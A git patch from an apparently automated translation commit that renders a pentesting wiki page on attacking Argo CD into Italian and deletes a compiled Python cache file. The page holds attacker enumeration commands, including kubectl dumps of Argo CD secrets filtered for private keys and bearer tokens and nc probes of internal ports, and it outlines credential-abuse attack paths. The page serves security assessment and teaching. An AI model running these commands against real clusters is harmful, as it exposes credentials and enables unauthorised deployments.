From 5c74337f88e3a7d13377e548de904b3fdfd9b7a2 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 19 Jul 2026 09:23:46 +0000 Subject: [PATCH] Translated ['src/pentesting-ci-cd/argocd-security.md', 'src/pentesting-c --- .../__pycache__/translator.cpython-312.pyc | Bin 27040 -> 0 bytes src/pentesting-ci-cd/argocd-security.md | 167 +++++++++--------- .../az-post-exploitation/README.md | 4 + ...az-container-registry-post-exploitation.md | 87 +++++++++ .../az-services/az-container-registry.md | 86 ++++----- 5 files changed, 220 insertions(+), 124 deletions(-) delete mode 100644 scripts/__pycache__/translator.cpython-312.pyc create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md diff --git a/scripts/__pycache__/translator.cpython-312.pyc b/scripts/__pycache__/translator.cpython-312.pyc deleted file mode 100644 index 14057b89657f80a42ed51c17e758ec25ad835f44..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 27040 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 diff --git a/src/pentesting-ci-cd/argocd-security.md b/src/pentesting-ci-cd/argocd-security.md index 4a794e466..d851c2f84 100644 --- a/src/pentesting-ci-cd/argocd-security.md +++ b/src/pentesting-ci-cd/argocd-security.md @@ -1,21 +1,21 @@ -# Argo CD Security +# Sicurezza di Argo CD {{#include ../banners/hacktricks-training.md}} ## Informazioni di base -[Argo CD](https://argo-cd.readthedocs.io/) è una piattaforma di continuous delivery GitOps per Kubernetes. Monitora i repository Git, genera i manifest Kubernetes con strumenti come Helm, Kustomize, Jsonnet o config management plugins, e riconcilia lo stato live del cluster con lo stato desiderato memorizzato in Git. +[Argo CD](https://argo-cd.readthedocs.io/) è una piattaforma di continuous delivery GitOps per Kubernetes. Monitora i repository Git, esegue il rendering dei manifest Kubernetes con strumenti come Helm, Kustomize, Jsonnet o plugin di config management e riconcilia lo stato attuale del cluster con lo stato desiderato archiviato in Git. -Dal punto di vista di un attacker, considera Argo CD come un **motore di deployment con credenziali Kubernetes**. Un compromesso utile di Argo CD può portare a: +Dal punto di vista di un attaccante, considera Argo CD un **deployment engine con credenziali Kubernetes**. Una compromissione utile di Argo CD può portare a: -- Accesso a repository Git privati e credenziali del repository. -- Accesso ai secret del cluster Kubernetes usati da Argo CD. -- Esecuzione di codice nella generazione dei manifest in `argocd-repo-server`. -- Deployment non autorizzato di oggetti Kubernetes tramite repository Git trusted, applicazioni Argo CD o manipolazione della cache. +- Accesso a repository Git privati e alle credenziali dei repository. +- Accesso ai secrets del cluster Kubernetes utilizzati da Argo CD. +- Esecuzione di codice durante la generazione dei manifest in `argocd-repo-server`. +- Deployment non autorizzato di oggetti Kubernetes tramite repository Git considerati affidabili, applicazioni Argo CD o manipolazione della cache. ## Architettura e componenti interessanti -Common Kubernetes objects and services: +Oggetti e servizi Kubernetes comuni: ```bash kubectl get pods,svc,endpoints,ingress -A | grep -iE 'argocd|argo-cd' kubectl get applications,appprojects,applicationsets -A 2>/dev/null @@ -24,10 +24,10 @@ kubectl get networkpolicy -n argocd 2>/dev/null ``` Servizi interessanti: -- **`argocd-server`**: API pubblica, web UI, CLI API, autenticazione e autorizzazione. -- **`argocd-application-controller`**: confronta lo stato desiderato e quello effettivo, poi applica le risorse a Kubernetes. -- **`argocd-repo-server`**: clona repository, mette in cache i dati Git e esegue Helm/Kustomize/Jsonnet/plugins per generare i manifest. La porta gRPC predefinita è **8081**. -- **`argocd-redis`**: cache per dati di application, manifest e riferimenti Git. La porta Redis predefinita è **6379**. +- **`argocd-server`**: API pubblica, UI web, API CLI, autenticazione e autorizzazione. +- **`argocd-application-controller`**: confronta lo stato desiderato e quello attuale, quindi applica le risorse a Kubernetes. +- **`argocd-repo-server`**: clona i repository, memorizza nella cache i dati Git ed esegue Helm/Kustomize/Jsonnet/plugin per generare i manifest. La porta gRPC predefinita è **8081**. +- **`argocd-redis`**: cache per i dati delle applicazioni, dei manifest e dei riferimenti Git. La porta Redis predefinita è **6379**. - **`argocd-applicationset-controller`**: genera oggetti Argo CD `Application` da generatori come Git, SCM, cluster e pull request. Da un pod compromesso o da un segmento di rete interno, verifica la raggiungibilità interna: @@ -36,9 +36,9 @@ nc -vz 443 nc -vz 8081 nc -vz 6379 ``` -## Attacchi Public API / UI +## Attacchi alla API / UI pubblica -Se hai credenziali Argo CD o un'istanza esposta, inizia dalla normale superficie API: +Se disponi delle credenziali di Argo CD o di un'istanza esposta, inizia dalla normale superficie API: ```bash argocd login argocd account get-user-info @@ -51,13 +51,13 @@ argocd admin settings rbac can ``` Percorsi di attacco utili: -- **Application write access**: modifica `source.repoURL`, `source.path`, valori Helm, opzioni Kustomize, impostazioni plugin o opzioni di sync così Argo CD distribuisce manifest controllati dall'attaccante. -- **Project misconfiguration**: gli oggetti `AppProject` possono consentire `sourceRepos` ampi, `destinations` ampi, `clusterResourceWhitelist` non sicura o restrizioni deboli sui namespace. -- **Repository credential abuse**: i segreti del repository, le credenziali GitHub App, le chiavi SSH e i token possono consentire il push su repo fidati o l'aggiunta di dipendenze malevole. -- **Cluster credential abuse**: i segreti del cluster possono contenere bearer token o configurazione exec-provider usata da Argo CD per distribuire nei cluster di destinazione. -- **Local admin / project tokens**: i token Argo CD a lunga durata possono essere riusati tramite l'API finché non vengono revocati o scadono. +- **Accesso in scrittura alle Application**: modifica `source.repoURL`, `source.path`, i valori Helm, le opzioni Kustomize, le impostazioni dei plugin o le opzioni di sync affinché Argo CD distribuisca manifest controllati dall'attaccante. +- **Configurazione errata del Project**: gli oggetti `AppProject` possono consentire `sourceRepos` ampi, `destinations` ampie, un `clusterResourceWhitelist` non sicuro o restrizioni deboli sui namespace. +- **Abuso delle credenziali del repository**: i secret del repository, le credenziali GitHub App, le chiavi SSH e i token possono consentire il push verso repo considerati affidabili o l'aggiunta di dipendenze malevole. +- **Abuso delle credenziali del cluster**: i secret del cluster possono contenere bearer token o configurazioni `exec-provider` utilizzate da Argo CD per distribuire nei cluster target. +- **Token locali di admin / project**: i token Argo CD a lunga durata possono essere riutilizzati tramite l'API finché non vengono revocati o scadono. -Enumera la configurazione da Kubernetes quando hai accesso di lettura al cluster: +Enumera la configurazione da Kubernetes quando disponi dell'accesso in lettura al cluster: ```bash kubectl get applications.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml @@ -65,26 +65,26 @@ kubectl get applicationsets.argoproj.io -A -o yaml kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey' kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml ``` -## Abuso di Trusted Git Repository +## Abuso di un repository Git trusted -Se puoi fare push su un repository trusted da Argo CD, di solito puoi influenzare ciò che viene deployato. L'impatto dipende dai confini di `AppProject` e dai permessi del service account usato dall'application controller. +Se puoi eseguire il push su un repository considerato trusted da Argo CD, di 